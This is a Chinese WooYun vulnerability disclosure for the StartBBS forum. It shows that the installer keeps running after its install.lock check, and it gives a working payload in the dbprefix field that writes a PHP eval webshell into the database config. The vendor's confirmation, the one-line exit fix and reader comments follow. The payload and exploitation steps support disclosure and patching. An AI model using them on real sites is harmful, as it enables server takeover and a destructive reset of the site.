当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(19) 关注此漏洞

缺陷编号: WooYun-2013-45143

漏洞标题: 开源轻论坛StartBBS前台getshell

相关厂商: www.startbbs.com

漏洞作者: phith0n认证白帽子

提交时间: 2013-12-09 12:11

公开时间: 2014-03-09 12:11

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 白盒测试

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-09: 细节已通知厂商并且等待厂商处理中
2013-12-09: 厂商已经确认,细节仅向厂商公开
2013-12-12: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-02-02: 细节向核心白帽子及相关领域专家公开
2014-02-12: 细节向普通白帽子公开
2014-02-22: 细节向实习白帽子公开
2014-03-09: 细节向公众公开

简要描述:

直接写一句话getshell。
所有测试都是在本地进行的哦,我立志做一个好孩纸~!

详细说明:

心血来潮读读代码。StartBBS界面挺清爽的,体积也小。下载下来安装。

  安装好后发现根目录下多了一个install.lock,一般的cms为了防止被重安装就会在目录下生成一个类似的文件,下次有人再访问安装脚本的时候,脚本会检测,如果目录下有这个文件就提示“请删除后再安装”。

  原本应该是没有任何问题的。但我们来到安装脚本,/app/controllers/install.php中,查看它是怎么处理的:

code 区域
class Install extends Install_Controller
{
function __construct ()
{
parent::__construct();
$this->load->library('myclass');
$file=FCPATH.'install.lock';
if (file_exists($file)){
$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";');
}

}



  看到这里我就笑了。构造函数里检查是否存在install.lock,然后用javascript的方式告诉用户“系统已安装过”,然后跳转。但是这个脚本根本还没有结束嘛,这个类里的函数都可以运行,并不因为返回了一个window.location.href就停止运行。(this->myclass->notice()中也没有停止运行的代码)

  然后,在往下翻,就能看到安装的函数:

code 区域
public function step($step)
{
$data['step']=$step;
if($step==1 || $step==2){
$data['permission'] = $this->_checkFileRight();
$this->load->view('install',$data);
}
if($step==3){
$this->_install_do();
}
}

function _install_do()
{
$data['step']=3;
if($_POST){
$dbhost = $this->input->post('dbhost');
$dbport = $this->input->post('dbport');
$dbname = $this->input->post('dbname');
$dbuser = $this->input->post('dbuser');
$dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):'';
$dbprefix = $this->input->post('dbprefix');
$userid = $this->input->post('admin');
$pwd = md5($this->input->post('pwd'));
$email = $this->input->post('email');
$sub_folder = '/'.$this->input->post('base_url').'/';
$conn = mysql_connect($dbhost.':'.$dbport,$dbuser,$dbpwd);
if (!$conn) {
die('无法连接到数据库服务器,请检查用户名和密码是否正确');
}
if($this->input->post('creatdb')){
if(!@mysql_query('CREATE DATABASE IF NOT EXISTS '.$dbname)){
die('指定的数据库('.$dbname.')系统尝试创建失败,请通过其他方式建立数据库');
}
}
if(!mysql_select_db($dbname,$conn)){
die($dbname.'数据库不存在,请创建或检查数据名.');

}
$sql = file_get_contents(FCPATH.'app/config/startbbs.sql');
$sql = str_replace("sb_",$dbprefix,$sql);
$explode = explode(";",$sql);
$data['msg1']="创建表".$dbname."成功,请稍后……<br/>";
foreach ($explode as $key=>$value){
if(!empty($value)){
if(trim($value)){
mysql_query($value.";");
}
}
}
$password = $pwd;
$ip=$this->myclass->get_ip();
$insert= "INSERT INTO ".$dbprefix."users (group_type,gid,is_active,username,password,email,regtime,ip) VALUES ('0','1','1','".$userid."','".$password."','".$email."','".time()."','".$ip."')";
mysql_query($insert);
mysql_close($conn);
$data['msg2']="安装完成,正在保存配置文件,请稍后……";
$dbconfig = "<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');\n"
."\$active_group = 'default';\n"
."\$active_record = TRUE;\n"
."\$db['default']['hostname'] = '".$dbhost."';\n"
."\$db['default']['port'] = '".$dbport."';\n"
."\$db['default']['username'] = '".$dbuser."';\n"
."\$db['default']['password'] = '".$dbpwd."';\n"
."\$db['default']['database'] = '".$dbname."';\n"
."\$db['default']['dbdriver'] = 'mysql';\n"
."\$db['default']['dbprefix'] = '".$dbprefix."';\n"
."\$db['default']['pconnect'] = TRUE;\n"
."\$db['default']['db_debug'] = TRUE;\n"
."\$db['default']['cache_on'] = FALSE;\n"
."\$db['default']['cachedir'] = 'app/cache';\n"
."\$db['default']['char_set'] = 'utf8';\n"
."\$db['default']['dbcollat'] = 'utf8_general_ci';\n"
."\$db['default']['swap_pre'] = '';\n"
."\$db['default']['autoinit'] = TRUE;\n"
."\$db['default']['stricton'] = FALSE;";
$file = FCPATH.'/app/config/database.php';
file_put_contents($file,$dbconfig);

//保存config文件
if($sub_folder){
$this->config->update('myconfig','sub_folder', $sub_folder);
}
$encryption_key = md5(uniqid());
if($encryption_key){
$this->config->update('myconfig','encryption_key', $encryption_key);
}

$data['msg3']="保存配置文件完成!";
touch(FCPATH.'install.lock');
$data['msg4']="创建锁定安装文件install.lock成功";
$data['msg5']="安装startbbs成功!";
}
$this->load->view('install',$data);

}





  当step函数的参数为3时,就执行安装函数_install_do(),这个函数里初始化了数据库,并把数据库配置文件写入了“/app/config/database.php”。于是,我们可以构造一下数据包直接把一句话写入到这个配置文件里。

  我们看到,这个函数接收了许多post数据:

  $dbhost = $this->input->post('dbhost');

  $dbport = $this->input->post('dbport');

  $dbname = $this->input->post('dbname');

  $dbuser = $this->input->post('dbuser');

  $dbpwd = $this->input->post('dbpwd')?$this->input->post('dbpwd'):'';

  $dbprefix = $this->input->post('dbprefix');

  $userid = $this->input->post('admin');

  $pwd = md5($this->input->post('pwd'));

  $email = $this->input->post('email');

  $sub_folder = '/'.$this->input->post('base_url').'/';

  其中dbhost、dbport、dbname、dbuser、dbpwd都不能随便乱写,乱写的话安装就会出错,而userid、pwd、email、sub_folder都是写入数据库的,不写入配置文件。所以就剩下dbprefix了,所以我们可以这样构造这个字段:

  dbprefix=sb_';@eval ($_POST[101]);$xxx='

漏洞证明:

因为这个重安装漏洞破坏性太大,getshell以后网站等于重置了,所以我没有在网上测试。测试都在本地进行~



首先在外面找一个可以外连的mysql账号,为的是让安装成功进行。

我这里在我vps上新建了一个账号test_db_user,然后构造下面的这个数据包,发送:

01.jpg



等待一会发现返回了安装成功提示。因为我在本地测试的,所以我来到网站目录下,/app/config/database.php

02.jpg



可以看到,一句话已经写入了。菜刀连接index.php就可以了,直接连这个数据库配置文件是不行的。

03.jpg

修复方案:

code 区域
function __construct ()
{
parent::__construct();
$this->load->library('myclass');
$file=FCPATH.'install.lock';
if (file_exists($file)){
$this->myclass->notice('alert("系统已安装过");window.location.href="'.site_url().'";');
exit;
}

}

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-12-09 17:41

厂商回复:

谢谢提供的测试,这个漏洞补上。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-12-06 19:14 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区! Blog:http://www.xlixli....)
    1

    刚用这个奇葩论坛程序建个站你就getshell 骚年这么吊是为何...

  2. 2013-12-09 18:16 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
    0

    呵呵~~厂商认领了呀~~

  3. 2013-12-09 21:15 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:126 | 一个想当文人的黑客~)
    0

    getshell才给10rank……唉

  4. 2013-12-10 09:40 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
    1

    @phith0n 已经很好了呢~~我一个getshell漏洞都没找到,求指教

  5. 2013-12-13 16:19 | 低调 ( 实习白帽子 | Rank:42 漏洞数:18 | .......)
    0

    唉~~骚年 我刚弄了个论坛 你就发这个 我就 果断的删了 安装个别的吧 唉~~~

  6. 2013-12-13 21:03 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:126 | 一个想当文人的黑客~)
    0

    @低调 官方应该已经修了~

  7. 2014-01-03 15:15 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区! Blog:http://www.xlixli....)
    0

    危害说大也大说小也小... 这个洞需要得到数据库的用户名和密码才能触发

  8. 2014-01-03 18:39 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:126 | 一个想当文人的黑客~)
    0

    @xiaoL 外连数据库就可以了,只要能成功连上任何一个数据库就能getshell

  9. 2015-01-18 23:55 | 路飞 ( 普通白帽子 | Rank:112 漏洞数:21 | 上帝恩赐,命运天定。希望之光,普照我身。...)
    1

    @phith0n 直接连这个数据库配置文件是不行的。 为什么不行的?

  10. 2016-01-26 09:37 | 冰无漪 ( 实习白帽子 | Rank:63 漏洞数:10 | 寂傲沧溟远,睥越天关,剑殃造劫竞锋寒,祸...)
    0

    还需要知道数据库密码才能利用,要求高了

  11. 2016-01-31 21:42 | 90Snake ( 普通白帽子 | Rank:167 漏洞数:53 | 人如果没有梦想,跟咸鱼有什么分别)
    0

    @冰无漪 。。。洞主解释好几次了。。可以外部链接。。也就是说你自己搭一个数据库 让他链就行

登录后才能发表评论,请先 登录